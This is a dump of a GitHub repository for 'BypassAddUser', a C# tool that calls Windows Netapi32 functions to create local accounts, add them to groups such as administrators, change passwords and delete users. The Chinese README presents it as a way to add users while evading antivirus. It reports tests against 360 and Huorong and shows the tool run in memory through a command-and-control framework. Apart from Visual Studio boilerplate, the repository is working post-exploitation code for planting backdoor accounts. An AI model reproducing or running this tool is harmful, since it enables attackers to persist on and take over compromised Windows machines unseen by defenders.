├── .gitattributes ├── .gitignore ├── App.config ├── Bypass.cs ├── BypassAddUser.csproj ├── BypassAddUser.sln ├── Pictures ├── Snipaste_2020-10-04_11-42-15.jpg ├── Snipaste_2020-10-04_11-47-57.jpg ├── Snipaste_2020-10-04_11-49-09.jpg ├── Snipaste_2020-10-04_11-50-53.jpg ├── Snipaste_2020-10-04_11-52-55.jpg ├── Snipaste_2020-10-04_11-56-10.jpg ├── Snipaste_2020-10-08_19-23-29.jpg ├── Snipaste_2020-10-08_19-24-14.jpg ├── Snipaste_2020-10-08_19-26-27.jpg ├── Snipaste_2020-10-08_19-34-48.jpg ├── Snipaste_2020-10-08_19-35-18.jpg └── Snipaste_2020-10-08_19-37-30.jpg ├── Program.cs ├── Properties └── AssemblyInfo.cs └── README.md /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Dd]ebugPublic/ 19 | [Rr]elease/ 20 | [Rr]eleases/ 21 | x64/ 22 | x86/ 23 | [Aa][Rr][Mm]/ 24 | [Aa][Rr][Mm]64/ 25 | bld/ 26 | [Bb]in/ 27 | [Oo]bj/ 28 | [Ll]og/ 29 | 30 | # Visual Studio 2015/2017 cache/options directory 31 | .vs/ 32 | # Uncomment if you have tasks that create the project's static files in wwwroot 33 | #wwwroot/ 34 | 35 | # Visual Studio 2017 auto generated files 36 | Generated\ Files/ 37 | 38 | # MSTest test Results 39 | [Tt]est[Rr]esult*/ 40 | [Bb]uild[Ll]og.* 41 | 42 | # NUNIT 43 | *.VisualState.xml 44 | TestResult.xml 45 | 46 | # Build Results of an ATL Project 47 | [Dd]ebugPS/ 48 | [Rr]eleasePS/ 49 | dlldata.c 50 | 51 | # Benchmark Results 52 | BenchmarkDotNet.Artifacts/ 53 | 54 | # .NET Core 55 | project.lock.json 56 | project.fragment.lock.json 57 | artifacts/ 58 | 59 | # StyleCop 60 | StyleCopReport.xml 61 | 62 | # Files built by Visual Studio 63 | *_i.c 64 | *_p.c 65 | *_h.h 66 | *.ilk 67 | *.meta 68 | *.obj 69 | *.iobj 70 | *.pch 71 | *.pdb 72 | *.ipdb 73 | *.pgc 74 | *.pgd 75 | *.rsp 76 | *.sbr 77 | *.tlb 78 | *.tli 79 | *.tlh 80 | *.tmp 81 | *.tmp_proj 82 | *_wpftmp.csproj 83 | *.log 84 | *.vspscc 85 | *.vssscc 86 | .builds 87 | *.pidb 88 | *.svclog 89 | *.scc 90 | 91 | # Chutzpah Test files 92 | _Chutzpah* 93 | 94 | # Visual C++ cache files 95 | ipch/ 96 | *.aps 97 | *.ncb 98 | *.opendb 99 | *.opensdf 100 | *.sdf 101 | *.cachefile 102 | *.VC.db 103 | *.VC.VC.opendb 104 | 105 | # Visual Studio profiler 106 | *.psess 107 | *.vsp 108 | *.vspx 109 | *.sap 110 | 111 | # Visual Studio Trace Files 112 | *.e2e 113 | 114 | # TFS 2012 Local Workspace 115 | $tf/ 116 | 117 | # Guidance Automation Toolkit 118 | *.gpState 119 | 120 | # ReSharper is a .NET coding add-in 121 | _ReSharper*/ 122 | *.[Rr]e[Ss]harper 123 | *.DotSettings.user 124 | 125 | # JustCode is a .NET coding add-in 126 | .JustCode 127 | 128 | # TeamCity is a build add-in 129 | _TeamCity* 130 | 131 | # DotCover is a Code Coverage Tool 132 | *.dotCover 133 | 134 | # AxoCover is a Code Coverage Tool 135 | .axoCover/* 136 | !.axoCover/settings.json 137 | 138 | # Visual Studio code coverage results 139 | *.coverage 140 | *.coveragexml 141 | 142 | # NCrunch 143 | _NCrunch_* 144 | .*crunch*.local.xml 145 | nCrunchTemp_* 146 | 147 | # MightyMoose 148 | *.mm.* 149 | AutoTest.Net/ 150 | 151 | # Web workbench (sass) 152 | .sass-cache/ 153 | 154 | # Installshield output folder 155 | [Ee]xpress/ 156 | 157 | # DocProject is a documentation generator add-in 158 | DocProject/buildhelp/ 159 | DocProject/Help/*.HxT 160 | DocProject/Help/*.HxC 161 | DocProject/Help/*.hhc 162 | DocProject/Help/*.hhk 163 | DocProject/Help/*.hhp 164 | DocProject/Help/Html2 165 | DocProject/Help/html 166 | 167 | # Click-Once directory 168 | publish/ 169 | 170 | # Publish Web Output 171 | *.[Pp]ublish.xml 172 | *.azurePubxml 173 | # Note: Comment the next line if you want to checkin your web deploy settings, 174 | # but database connection strings (with potential passwords) will be unencrypted 175 | *.pubxml 176 | *.publishproj 177 | 178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 179 | # checkin your Azure Web App publish settings, but sensitive information contained 180 | # in these scripts will be unencrypted 181 | PublishScripts/ 182 | 183 | # NuGet Packages 184 | *.nupkg 185 | # The packages folder can be ignored because of Package Restore 186 | **/[Pp]ackages/* 187 | # except build/, which is used as an MSBuild target. 188 | !**/[Pp]ackages/build/ 189 | # Uncomment if necessary however generally it will be regenerated when needed 190 | #!**/[Pp]ackages/repositories.config 191 | # NuGet v3's project.json files produces more ignorable files 192 | *.nuget.props 193 | *.nuget.targets 194 | 195 | # Microsoft Azure Build Output 196 | csx/ 197 | *.build.csdef 198 | 199 | # Microsoft Azure Emulator 200 | ecf/ 201 | rcf/ 202 | 203 | # Windows Store app package directories and files 204 | AppPackages/ 205 | BundleArtifacts/ 206 | Package.StoreAssociation.xml 207 | _pkginfo.txt 208 | *.appx 209 | 210 | # Visual Studio cache files 211 | # files ending in .cache can be ignored 212 | *.[Cc]ache 213 | # but keep track of directories ending in .cache 214 | !?*.[Cc]ache/ 215 | 216 | # Others 217 | ClientBin/ 218 | ~$* 219 | *~ 220 | *.dbmdl 221 | *.dbproj.schemaview 222 | *.jfm 223 | *.pfx 224 | *.publishsettings 225 | orleans.codegen.cs 226 | 227 | # Including strong name files can present a security risk 228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 229 | #*.snk 230 | 231 | # Since there are multiple workflows, uncomment next line to ignore bower_components 232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 233 | #bower_components/ 234 | 235 | # RIA/Silverlight projects 236 | Generated_Code/ 237 | 238 | # Backup & report files from converting an old project file 239 | # to a newer Visual Studio version. Backup files are not needed, 240 | # because we have git ;-) 241 | _UpgradeReport_Files/ 242 | Backup*/ 243 | UpgradeLog*.XML 244 | UpgradeLog*.htm 245 | ServiceFabricBackup/ 246 | *.rptproj.bak 247 | 248 | # SQL Server files 249 | *.mdf 250 | *.ldf 251 | *.ndf 252 | 253 | # Business Intelligence projects 254 | *.rdl.data 255 | *.bim.layout 256 | *.bim_*.settings 257 | *.rptproj.rsuser 258 | *- Backup*.rdl 259 | 260 | # Microsoft Fakes 261 | FakesAssemblies/ 262 | 263 | # GhostDoc plugin setting file 264 | *.GhostDoc.xml 265 | 266 | # Node.js Tools for Visual Studio 267 | .ntvs_analysis.dat 268 | node_modules/ 269 | 270 | # Visual Studio 6 build log 271 | *.plg 272 | 273 | # Visual Studio 6 workspace options file 274 | *.opt 275 | 276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 277 | *.vbw 278 | 279 | # Visual Studio LightSwitch build output 280 | **/*.HTMLClient/GeneratedArtifacts 281 | **/*.DesktopClient/GeneratedArtifacts 282 | **/*.DesktopClient/ModelManifest.xml 283 | **/*.Server/GeneratedArtifacts 284 | **/*.Server/ModelManifest.xml 285 | _Pvt_Extensions 286 | 287 | # Paket dependency manager 288 | .paket/paket.exe 289 | paket-files/ 290 | 291 | # FAKE - F# Make 292 | .fake/ 293 | 294 | # JetBrains Rider 295 | .idea/ 296 | *.sln.iml 297 | 298 | # CodeRush personal settings 299 | .cr/personal 300 | 301 | # Python Tools for Visual Studio (PTVS) 302 | __pycache__/ 303 | *.pyc 304 | 305 | # Cake - Uncomment if you are using it 306 | # tools/** 307 | # !tools/packages.config 308 | 309 | # Tabs Studio 310 | *.tss 311 | 312 | # Telerik's JustMock configuration file 313 | *.jmconfig 314 | 315 | # BizTalk build output 316 | *.btp.cs 317 | *.btm.cs 318 | *.odx.cs 319 | *.xsd.cs 320 | 321 | # OpenCover UI analysis results 322 | OpenCover/ 323 | 324 | # Azure Stream Analytics local run output 325 | ASALocalRun/ 326 | 327 | # MSBuild Binary and Structured Log 328 | *.binlog 329 | 330 | # NVidia Nsight GPU debugger configuration file 331 | *.nvuser 332 | 333 | # MFractors (Xamarin productivity tool) working folder 334 | .mfractor/ 335 | 336 | # Local History for Visual Studio 337 | .localhistory/ 338 | 339 | # BeatPulse healthcheck temp database 340 | healthchecksdb -------------------------------------------------------------------------------- /App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Bypass.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.DirectoryServices; 4 | using System.Linq; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace BypassAddUser 10 | { 11 | public class Bypass 12 | { 13 | //创建用户 14 | [DllImport("Netapi32.dll")] 15 | extern static int NetUserAdd([MarshalAs(UnmanagedType.LPWStr)] string servername, int level, ref USER_INFO_1 buf, int parm_err); 16 | 17 | //把用户添加到本地组 18 | [DllImport("Netapi32.dll")] 19 | extern static int NetLocalGroupAddMembers([MarshalAs(UnmanagedType.LPWStr)] string servername, [MarshalAs(UnmanagedType.LPWStr)] string groupname, int level, ref LOCALGROUP_MEMBERS_INFO_3 buf, int totalentries); 20 | 21 | //删除用户 22 | [DllImport("Netapi32.dll")] 23 | extern static int NetUserDel([MarshalAs(UnmanagedType.LPWStr)] string serverName, [MarshalAs(UnmanagedType.LPWStr)] string UserName); 24 | 25 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 26 | //链接:https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-localgroup_members_info_3 27 | public struct LOCALGROUP_MEMBERS_INFO_3 28 | { 29 | public string domainandname; 30 | } 31 | 32 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 33 | //链接:https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-user_info_1 34 | public struct USER_INFO_1 35 | { 36 | public string usri1_name; 37 | public string usri1_password; 38 | public int usri1_password_age; 39 | public int usri1_priv; 40 | public string usri1_home_dir; 41 | public string comment; 42 | public int usri1_flags; 43 | public string usri1_script_path; 44 | } 45 | 46 | /// 47 | /// 添加一个用户,添加失败后返回非0 48 | /// 49 | /// 50 | /// 51 | public void AddUser(string userName, string passWord) 52 | { 53 | USER_INFO_1 NewUser = new USER_INFO_1(); 54 | 55 | NewUser.usri1_name = userName; 56 | NewUser.usri1_password = passWord; 57 | NewUser.usri1_priv = 1; // 账户类型 58 | 59 | if (NetUserAdd(null, 1, ref NewUser, 0) != 0) //添加失败后返回非0 60 | { 61 | Console.WriteLine("Error Adding User"); 62 | } 63 | else 64 | { 65 | Console.WriteLine("Success Adding User!!!"); 66 | } 67 | } 68 | 69 | /// 70 | /// 把用户添加到本地组。添加失败后返回非0 71 | /// 72 | /// 73 | /// 74 | public void GroupAddMembers(string groupName, string userName) 75 | { 76 | LOCALGROUP_MEMBERS_INFO_3 NewMember = new LOCALGROUP_MEMBERS_INFO_3(); 77 | NewMember.domainandname = userName; 78 | if (NetLocalGroupAddMembers(null, groupName, 3, ref NewMember, 1) != 0) //添加失败后返回非0 79 | { 80 | Console.WriteLine("Error Adding Group Member"); 81 | } 82 | else 83 | { 84 | Console.WriteLine("Success Adding Group Member!!!"); 85 | } 86 | } 87 | 88 | /// 89 | /// 删除一个用户,同时将删除这个用户在任何组中的关系,删除失败后返回非0。 90 | /// 91 | /// 要删除的用户 92 | public void UserDelete(string UserName) 93 | { 94 | if (NetUserDel(null, UserName) != 0) 95 | { 96 | Console.WriteLine("User deleted Failed"); 97 | } 98 | else 99 | { 100 | Console.WriteLine("User deleted Success!!!"); 101 | } 102 | 103 | } 104 | 105 | } 106 | 107 | } 108 | -------------------------------------------------------------------------------- /BypassAddUser.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {70715D22-1F9A-409A-B442-0F0721204378} 8 | Exe 9 | BypassAddUser 10 | BypassAddUser 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /BypassAddUser.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30503.244 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BypassAddUser", "BypassAddUser.csproj", "{70715D22-1F9A-409A-B442-0F0721204378}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {70715D22-1F9A-409A-B442-0F0721204378}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {70715D22-1F9A-409A-B442-0F0721204378}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {70715D22-1F9A-409A-B442-0F0721204378}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {70715D22-1F9A-409A-B442-0F0721204378}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {1865B44E-F834-4D9C-88DB-F5962B68CF4D} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Pictures/Snipaste_2020-10-04_11-42-15.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/v1ncilazy/BypassAddUser/732dfb039a87a71950eec130d627023d4a278eef/Pictures/Snipaste_2020-10-04_11-42-15.jpg -------------------------------------------------------------------------------- /Pictures/Snipaste_2020-10-04_11-47-57.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/v1ncilazy/BypassAddUser/732dfb039a87a71950eec130d627023d4a278eef/Pictures/Snipaste_2020-10-04_11-47-57.jpg -------------------------------------------------------------------------------- /Pictures/Snipaste_2020-10-04_11-49-09.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/v1ncilazy/BypassAddUser/732dfb039a87a71950eec130d627023d4a278eef/Pictures/Snipaste_2020-10-04_11-49-09.jpg -------------------------------------------------------------------------------- /Pictures/Snipaste_2020-10-04_11-50-53.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/v1ncilazy/BypassAddUser/732dfb039a87a71950eec130d627023d4a278eef/Pictures/Snipaste_2020-10-04_11-50-53.jpg -------------------------------------------------------------------------------- /Pictures/Snipaste_2020-10-04_11-52-55.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/v1ncilazy/BypassAddUser/732dfb039a87a71950eec130d627023d4a278eef/Pictures/Snipaste_2020-10-04_11-52-55.jpg -------------------------------------------------------------------------------- /Pictures/Snipaste_2020-10-04_11-56-10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/v1ncilazy/BypassAddUser/732dfb039a87a71950eec130d627023d4a278eef/Pictures/Snipaste_2020-10-04_11-56-10.jpg -------------------------------------------------------------------------------- /Pictures/Snipaste_2020-10-08_19-23-29.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/v1ncilazy/BypassAddUser/732dfb039a87a71950eec130d627023d4a278eef/Pictures/Snipaste_2020-10-08_19-23-29.jpg -------------------------------------------------------------------------------- /Pictures/Snipaste_2020-10-08_19-24-14.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/v1ncilazy/BypassAddUser/732dfb039a87a71950eec130d627023d4a278eef/Pictures/Snipaste_2020-10-08_19-24-14.jpg -------------------------------------------------------------------------------- /Pictures/Snipaste_2020-10-08_19-26-27.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/v1ncilazy/BypassAddUser/732dfb039a87a71950eec130d627023d4a278eef/Pictures/Snipaste_2020-10-08_19-26-27.jpg -------------------------------------------------------------------------------- /Pictures/Snipaste_2020-10-08_19-34-48.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/v1ncilazy/BypassAddUser/732dfb039a87a71950eec130d627023d4a278eef/Pictures/Snipaste_2020-10-08_19-34-48.jpg -------------------------------------------------------------------------------- /Pictures/Snipaste_2020-10-08_19-35-18.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/v1ncilazy/BypassAddUser/732dfb039a87a71950eec130d627023d4a278eef/Pictures/Snipaste_2020-10-08_19-35-18.jpg -------------------------------------------------------------------------------- /Pictures/Snipaste_2020-10-08_19-37-30.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/v1ncilazy/BypassAddUser/732dfb039a87a71950eec130d627023d4a278eef/Pictures/Snipaste_2020-10-08_19-37-30.jpg -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.DirectoryServices; 4 | using System.Linq; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace BypassAddUser 10 | { 11 | class Program 12 | { 13 | [DllImport("kernel32.dll")] 14 | //链接:https://blog.csdn.net/zxh2075/article/details/8621243 15 | //链接:https://docs.microsoft.com/zh-cn/dotnet/framework/unmanaged-api/hosting/iclrmetahost-exitprocess-method 16 | static extern void ExitProcess(uint ExitCode); 17 | 18 | static void Main(string[] args) 19 | { 20 | string judgeUser = "-u"; 21 | string judgePass = "-p"; 22 | string judgeGroup = "-g"; 23 | string judgeChange = "-c"; 24 | string judgeDelete = "-d"; 25 | 26 | if (args.Length == 6 && args[0].Equals(judgeUser, StringComparison.OrdinalIgnoreCase) && 27 | args[2].Equals(judgePass, StringComparison.OrdinalIgnoreCase) && 28 | args[4].Equals(judgeGroup, StringComparison.OrdinalIgnoreCase)) 29 | { 30 | Bypass bypass = new Bypass(); 31 | string username = args[1]; 32 | string password = args[3]; 33 | string groupname = args[5]; 34 | bypass.AddUser(username, password); 35 | bypass.GroupAddMembers(groupname, username); 36 | ExitProcess(1); //结束进程及其所有的线程 37 | 38 | } 39 | else if (args.Length == 2 && args[0].Equals(judgeDelete, StringComparison.OrdinalIgnoreCase)) 40 | { 41 | Bypass bypass = new Bypass(); 42 | bypass.UserDelete(args[1]); 43 | ExitProcess(1); 44 | } 45 | else if (args.Length ==3 && args[0].Equals(judgeChange,StringComparison.OrdinalIgnoreCase)) 46 | { 47 | try 48 | { 49 | UpdateUserPassword(args[1], args[2]); 50 | } 51 | catch (System.Runtime.InteropServices.COMException) 52 | { 53 | Console.WriteLine("可能是用户名所引起的错误,请检查:用户名输入是否正确"); 54 | 55 | } 56 | catch (System.Reflection.TargetInvocationException) 57 | { 58 | Console.WriteLine("可能是因为:“当前设置的密码不满足密码策略的要求” 所引起的错误,请检查:最小密码长度、密码复杂性和密码历史的要求"); 59 | } 60 | } 61 | 62 | else 63 | { 64 | Console.WriteLine("Usage: BypassAddUser.exe -u/-U username -p/-P password -g/-G groups"); 65 | Console.WriteLine(" BypassAddUser.exe -c/-C UserName NewPassword"); 66 | Console.WriteLine(" BypassAddUser.exe -d/-D UserName"); 67 | Console.WriteLine("Example: BypassAddUser.exe -u test -p testpass -g administrators"); 68 | Console.WriteLine(" BypassAddUser.exe -c test NewtestPass"); 69 | Console.WriteLine(" BypassAddUser.exe -d test"); 70 | } 71 | 72 | } 73 | 74 | /// 75 | /// 更改密码 76 | /// 77 | private static readonly string PATH = "WinNT://" + Environment.MachineName; 78 | public static void UpdateUserPassword(string username, string newpassword) 79 | { 80 | using (DirectoryEntry dir = new DirectoryEntry(PATH)) 81 | { 82 | using (DirectoryEntry user = dir.Children.Find(username, "user")) 83 | { 84 | user.Invoke("SetPassword", new object[] { newpassword }); 85 | user.CommitChanges(); 86 | Console.WriteLine("Success Change Password!!!"); 87 | } 88 | } 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的一般信息由以下 6 | // 控制。更改这些特性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("BypassAddUser")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("BypassAddUser")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 会使此程序集中的类型 18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 19 | //请将此类型的 ComVisible 特性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("70715d22-1f9a-409a-b442-0f0721204378")] 24 | 25 | // 程序集的版本信息由下列四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 生成号 30 | // 修订号 31 | // 32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 33 | //通过使用 "*",如下所示: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BypassAddUser 2 | 调用Windows Api,绕过杀软添加用户,怎么去使用,就仁者见仁智者见智了 3 | 4 | `.NET4.0+` 5 | 6 | 已测Win2008,Win2012,Win2016,Win10都没问题 7 | 8 | 9 | 10 | **注意密码复杂性!!!** 11 | 12 | **注意密码复杂性!!!** 13 | 14 | **注意密码复杂性!!!** 15 | 16 | ### 2020.10.8更新:新增更改用户密码、删除用户功能 17 | 18 | ``` 19 | Usage: BypassAddUser.exe -u/-U username -p/-P password -g/-G groups 添加用户 20 | BypassAddUser.exe -c/-C UserName NewPassword 更改用户密码 21 | BypassAddUser.exe -d/-D UserName 删除用户 22 | Example: BypassAddUser.exe -u test -p testpass -g administrators 23 | BypassAddUser.exe -c test NewtestPass 24 | BypassAddUser.exe -d test 25 | ``` 26 | ### 删除指定用户 27 | 28 | ![images](https://github.com/TryA9ain/BypassAddUser/blob/master/Pictures/Snipaste_2020-10-08_19-34-48.jpg) 29 | 30 | ![images](https://github.com/TryA9ain/BypassAddUser/blob/master/Pictures/Snipaste_2020-10-08_19-35-18.jpg) 31 | 32 | ![images](https://github.com/TryA9ain/BypassAddUser/blob/master/Pictures/Snipaste_2020-10-08_19-37-30.jpg) 33 | 34 | ### 更改指定用户密码 35 | 36 | ![images](https://github.com/TryA9ain/BypassAddUser/blob/master/Pictures/Snipaste_2020-10-08_19-23-29.jpg) 37 | 38 | ![images](https://github.com/TryA9ain/BypassAddUser/blob/master/Pictures/Snipaste_2020-10-08_19-24-14.jpg) 39 | 40 | ![images](https://github.com/TryA9ain/BypassAddUser/blob/master/Pictures/Snipaste_2020-10-08_19-26-27.jpg) 41 | 42 | ### 测试环境:360+火绒 43 | 44 | ![images](https://github.com/TryA9ain/BypassAddUser/blob/master/Pictures/Snipaste_2020-10-04_11-56-10.jpg) 45 | 46 | ![images](https://github.com/TryA9ain/BypassAddUser/blob/master/Pictures/Snipaste_2020-10-04_11-42-15.jpg) 47 | 48 | 使用CS来内存执行 49 | 50 | ![images](https://github.com/TryA9ain/BypassAddUser/blob/master/Pictures/Snipaste_2020-10-04_11-47-57.jpg) 51 | 52 | ![images](https://github.com/TryA9ain/BypassAddUser/blob/master/Pictures/Snipaste_2020-10-04_11-49-09.jpg) 53 | 54 | ![images](https://github.com/TryA9ain/BypassAddUser/blob/master/Pictures/Snipaste_2020-10-04_11-50-53.jpg) 55 | 56 | ![images](https://github.com/TryA9ain/BypassAddUser/blob/master/Pictures/Snipaste_2020-10-04_11-52-55.jpg) 57 | 58 | ## 参考链接 59 | https://blog.csdn.net/weixin_34307464/article/details/94449261 60 | 61 | https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ 62 | 63 | https://www.jb51.net/article/35563.htm 64 | 65 | ## 问题建议 66 | 67 | 欢迎大佬们提出问题或建议 68 | --------------------------------------------------------------------------------